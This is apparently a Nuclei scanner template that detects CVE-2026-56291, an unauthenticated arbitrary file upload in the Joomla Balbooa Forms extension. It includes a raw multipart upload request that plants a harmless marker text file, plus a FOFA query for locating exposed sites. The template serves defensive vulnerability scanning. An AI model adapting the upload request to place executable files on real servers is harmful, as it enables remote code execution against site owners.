id: CVE-2026-56291

info:
  name: Balbooa Forms < 2.4.1 - Unauthenticated Arbitrary File Upload
  author: Nick Vidovic,0x_Akoko
  severity: critical
  description: |
    Joomla Balbooa Forms contains an unrestricted file upload vulnerability caused by lack of authentication checks, letting unauthenticated attackers upload executable files and achieve remote code execution.
  impact: |
    Unauthenticated attackers can upload executable files, leading to full remote code execution and complete system compromise.
  remediation: |
    Update to the latest version of Balbooa Forms extension.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56291
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-56291
    epss-score: 0.76066
    epss-percentile: 0.99482
    cwe-id: CWE-434
  metadata:
    verified: false
    max-request: 1
    vendor: balbooa
    product: forms
    framework: joomla
    fofa-query: body="com_baforms"
  tags: cve,cve2026,joomla,balbooa,baforms,file-upload,rce,vuln,kev,vkev

variables:
  marker: "{{to_lower(rand_base(8))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

        ------WebKitFormBoundary
        Content-Disposition: form-data; name="form_id"

        1
        ------WebKitFormBoundary
        Content-Disposition: form-data; name="file"; filename="{{marker}}.txt"
        Content-Type: text/plain

        CVE-2026-56291-{{marker}}
        ------WebKitFormBoundary--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /images/baforms/uploads/form-0/{{marker}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-56291-{{marker}}")'
        condition: and
# digest: 4b0a00483046022100d4e128580b8eefccbd60bfab3af624d49d089aa56067f59f4a01954bf17f0ae2022100d02d01b8f5135087a82057c4438980023cda041adc3e4937cbc32e980d534d1c:922c64590222798bb761d5b6d8e72950